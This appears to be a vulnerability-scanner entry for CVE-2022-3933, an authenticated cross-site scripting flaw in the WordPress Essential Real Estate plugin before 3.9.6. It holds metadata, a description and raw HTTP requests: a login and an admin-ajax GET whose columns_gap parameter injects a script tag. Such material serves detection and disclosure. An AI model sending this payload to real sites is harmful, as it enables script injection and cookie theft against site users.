| Title | WordPress Essential Real Estate <3.9.6 - Authenticated Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | An authenticated attacker can inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or further attacks. |
| Remediation | Fixed in version 3.9.6. |
| CVSS Score | 5.4 |
| EPSS Score | 0.05535 |
| CVE ID | CVE-2022-3933 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wpscan authenticated wordpress wp-plugin wp essential-real-estate xss g5theme vuln |
WordPress Essential Real Estate plugin before 3.9.6 contains an authenticated cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters, which can allow someone with a role as low as admin to inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow theft of cookie-based authentication credentials and launch of other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=rTdGzI&pwd=kibTQq&wp-submit=Log+In
GET /wp-admin/admin-ajax.php?action=ere_property_gallery_fillter_ajax&columns_gap=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C!-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
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